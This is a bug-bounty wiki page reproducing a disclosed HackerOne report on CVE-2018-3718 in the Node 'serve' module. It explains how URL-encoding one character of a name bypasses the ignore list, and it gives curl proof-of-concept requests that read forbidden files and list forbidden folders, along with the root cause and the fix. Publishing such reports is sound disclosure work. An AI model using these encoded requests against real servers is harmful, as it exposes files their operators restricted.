Skip to content
Path traversal Disclosed report Beginner CVE-2018-3718

[serve] Directory listing and File access even when they have been set to be ignored.

The serve static file server checked the ignore list against the raw, still URL-encoded request path, but served files using the decoded path. An attacker could URL-encode a character in a forbidden file or folder name to read that file or list that directory.

0xchr00t Follow

Originally disclosed on HackerOne

Critical 9.3 View original
  • Triaged in 2 hours
  • Fixed in 47 days
  • Disclosed after 47 days

Module:

Description: The serve modules allows directory browsing and to serve static files through the browser. The config option ignore can be used to tell the module which file or directory are forbidden and should not be served. This rule can be bypassed by url encoding the name of the file or directory that has been forbidden.

Reproduction Steps:

  • Install serve
  • Create an application that uses serve for file serving listing and set a few folders and files in the ignore config.
JavaScript
const serve = require('serve')
const server = serve(__dirname, {
	  port: 1337,
	  ignore: ['testfolder', 'test.txt']
})
  • Run the app
Bash
$ node filename.js
  • Now, current directory will be served by serve with the exception of folder testfolder and file test.txt
  • If we try to curl test.txt we get a Not Found error
Bash
$ curl http://localhost:1337/test.txt
Not Found
  • The url encoded value for e is %65. So after replacing an e with its url encoded form, we are able to access the file.
Bash
$ curl http://localhost:1337/t%65st.txt
this is a forbidden file :D
  • Additionally, curling the directory testfolder returns a 404 too.
Bash
$ curl http://localhost:1337/testfolder/
Not Found
  • Applying the same strategy as above, we are able to get a listing of all the files and folders inside the restricted directory.
HTML
$ curl http://localhost:1337/t%65stfolder/
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Files within testserve/testfolder/</title>
      .
      .
          <li>
            <a href="/testfolder/testfile.txt" title="testfile.txt" class="txt">testfile.txt</a>
            <i>31 B</i>
          </li>
      .
      .
  • And then we can further access the files inside the forbidden folder using same strategy.
Bash
$ curl http://localhost:1337/t%65stfolder/testfile.txt
this is a test ... forbidden !

Mitigation Strategy

From what I could gather, this is happening because the path variable that is being checked against the user created forbidden folders blacklist, is essentially different from the one which is being used to serve the file/folder. Note these particular lines in file /lib/server.js-

JavaScript
90  const ignored = !ignoredFiles.every(item => {
91    return !pathname.includes(item)
92  })

Line 91 handles the logic for checking if one of the ignored folder/file names is present in the current requested path. Note that here, the variable pathname is used. This variable is not url decoded, while the variable which is used to actually serve the file is named related and is url decoded by passing requested path through decodeURIComponent function. So one strategy would be to use the related variable for checking against the blacklist too.

Impact

The issue essentially bypasses the ignore files/folders feature and allows an attacker to read from a directory/file that the victim has not allowed access to.

The original report as published on HackerOne, by 0xchr00t. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The ignore check ran on the undecoded pathname while the file was served from the decoded path, so the two checks looked at different strings.

Impact

The ignore feature is bypassed, so an attacker could read files and list directories the operator intended to keep inaccessible.

What the attacker needed

Serve used with an ignore list; attacker can reach the server

The fix

The ignore check should be performed on the same decoded path that is used to serve the file.

How it was found

  1. Install serve and configure it with an ignore list containing a folder and a file.
  2. Run the application so the current directory is served.
  3. Request the ignored file directly and observe a Not Found response.
  4. Request the same file with one character URL-encoded and observe its contents.
  5. Request the ignored folder with an encoded character and observe the directory listing.
  6. Request a file inside the ignored folder using the same encoding and observe its contents.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A static file server hands out files from a folder. The owner can mark some files or folders as off-limits. The server compared the off-limits names against the address exactly as typed, but then decoded the address before fetching the file, so a slightly disguised address slipped past the check.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.